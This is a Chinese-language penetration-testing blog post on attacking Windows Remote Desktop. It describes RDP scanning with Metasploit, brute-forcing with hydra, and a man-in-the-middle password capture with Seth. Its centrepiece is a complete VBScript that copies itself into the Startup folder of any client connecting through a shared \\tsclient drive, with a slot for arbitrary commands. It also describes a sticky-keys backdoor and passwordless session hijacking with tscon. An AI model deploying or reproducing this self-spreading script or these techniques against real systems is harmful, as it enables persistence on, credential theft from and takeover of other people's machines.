本文作者:hl0rey(来自信安之路作者团队)
渗透测试通常情况下是以功能为导向的。一组协议通常能支持、实现一种功能。本文浅谈一下针对 RDP 协议的几种测试方法,也就是针对远程桌面这种功能的利用。本人水平有限,但仍希望对大家能有帮助。
这里讨论的是 windows 下的 rdp(Remote Display Protocol )协议,也就是 windows 的远程桌面。通过提供一个有效的用户账号密码即可登陆到服务端,进行图形界面下的操作。
用 msf 中模块来识别 rdp 服务,速度很快。
scanner/rdp/rdp_scanner
nmap 没有精确识别 rdp 服务,msf 模块却能又快又好的识别,因吹斯听。稍微看下 rdp 协议数据包结构,然后用 wirehark 抓包分析一下 msf 模块的扫描过程。
rdp 数据包结构资料(只看前三页即可,就能看懂扫描的过程了)
https://wenku.baidu.com/view/f29f410552ea551810a68789.html
打开之后发现 wireshark 并没有识别出 rdp 协议,意料之外。忽略 tcp 三次握手的数据包,找到传送数据的包。
通过查看 rdp 数据包结构的资料,我们可以知道,windows 下的 rdp 数据包是经过 TPKT 协议封装之后的,所以我们在数据包上选择 decode as
找到 tpkt
,点 ok
。
然后就会发现 rdp 协议已经被正确解码了。
然后就很容易就能看出扫描的思路了,常规的扫描的套路。发个定制请求包,服务器给了回应了,就确定服务器运行的是某服务。
其实不让 wireshark 帮忙解码,也能看出来这常规的扫描套路。因为 msf 模块就是直接用正则匹配的数据包内容。瞅一眼 msf 模块的源码,看一下判断是否是 rdp 协议的核心逻辑。
第一个箭头处的正则表达式匹配了返回包的开头几个字节,只要匹配上了第二个箭头处的if成立就输出结果了。
暴力破解服务器远程桌面账户密码,最好做一下前期的信息收集,猜测下目标的用户名,比如通过 smb 协议。如果 smb 协议可以爆破的话,还是爆破 smb 协议吧,因为 rdp 协议比较脆弱,经不起高速的爆破。
hydra 走起。轻轻地爆破,不能太暴力。(hydra 不支持 2008/7 之后系统)
肯定是要对 2008 以后的机器也进行测试的,所以我在 GitHub 上随便找了点工具,发现大体上实现思路是两个,一种是 windows 下 C# 实现的,一种是 linux 下靠 freerdp 实现。但是都不是太好用,还是自己用 python 写一个吧。
所用到的库:
https://github.com/citronneur/rdpy
对于不擅长写代码的我来说挺麻烦的,我还没写出来,本事不够。再说爆破 rdp 应该不是明智之选吧。
通过任意方式将受害者的流量欺骗至攻击者机器,然后再用相关的工具处理用户登陆远程桌面的流量。
RDP 中间人攻击工具 Seth
https://github.com/SySS-Research/Seth
稍微看看文档,直接运行。
去受害机登陆一个远程主机,然后再回来看结果,红色文字处及是抓到的明文密码,抓完密码就退出脚本,深藏功与名。
再看受害者机器这边,一脸懵逼,浑然不觉。
windows 下有个叫 Startup 的特殊目录,每次用户登陆的时候都会强制运行在之下的程序。当 A 远程登陆到 B 机器时,如果选择将 A 的 C 盘共享到远程主机,那么在此次会话中就出现了一个名为 tsclient 的共享指向主机 A 共享的磁盘。rdp 注入就是通过访问共享的方式把可执行文件放到 A 的 startup 目录下。
网上有 bat 的 poc,但是缺点很明显,运行时会显示 cmd 的黑框,所以我就用 vbs 写了一个不会显示黑框的。代码写的不好,算是抛砖引玉了。想要测试的时候把我做的中文注释都去掉,并且把脚本以 ANSI 编码格式保存然后拿去测试即可。
On Error Resume Next
'脚本暂停五秒后再执行,避免网络延迟对结果有影响
wscript.sleep 1000*5
'定义一堆要用到的变量,创建两个要用到的对象
Dim WshShell,sudir,objFSO,sufile,fn,tsdir,tssubdir,tsusersu,tsdir2,tssubdir2
Set WshShell = CreateObject("wscript.Shell")
Set objFSO = CreateObject("Scripting.FileSystemObject")
'把脚本复制到本机的启动目录,只复制到当前用户目录下,先取到目录路径
sudir=WshShell.SpecialFolders("StartUp")
fn=objFSO.GetFile(Wscript.scriptfullname).name
sufile=sudir+"\"+fn
'查看文件是否存在,不存在的话,就复制过去
If Not objFSO.FileExists(sufile) Then
objFSO.GetFile(Wscript.scriptfullname).copy(sufile)
End If
'查看远程机器的用户目录
Set tsdir=objFSO.GetFolder("\\tsclient\C\Users")
Set tssubdir=tsdir.SubFolders
'遍历目录,把普通用户的目录筛选出来
for each f in tssubdir
If InStr(f,"All Users")=0 then
If InStr(f,"Default")=0 then
If InStr(f,"Default User")=0 then
If InStr(f,"Public")=0 then
tsusersu=f
End If
End If
End If
End If
Next
'构造出远程机器上的启动目录并且复制过去
tsusersu=tsusersu&"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\"&fn
If Not objFSO.FileExists(tsusersu) Then
objFSO.GetFile(Wscript.scriptfullname).copy(tsusersu)
End If
'你想执行的其他代码,这里就就纯是个poc了,让他弹个窗
'例如 wscript.CreateObject("wscript.shell").Run "你要执行的命令",vbhide
MsgBox "rdpinject success!"
现在 2008 上运行一下脚本,等待五秒之后会弹个窗(最好一句代码的做作用),看一眼启动路径有脚本,就成功了。
然后我用物理机去,远程登陆我的虚拟机 2008。
再看一眼我的启动目录(我把火绒关了,为了方便看效果,我估计会拦截)。
重启下我的机器(其实注销一下就能看到效果),成功弹窗,脚本被执行了。
在 system 权限下使用 tscon 连接到任意会话时不需要输入该用户的密码,所以就能在不知道其账户和密码的情况下以已登陆的其他账户的权限进行任意操作。
先放一个 shift 后门到 2008,再创建几个账户,加到管理员组,用他们登陆上去。然后锁屏。来到登陆界面。五下 shift 激活后门。执行 query user
看看有哪些会话。
连接 test1 试试,执行 tscon 3
,屏幕一黑,就链接过去了,也没让输入密码。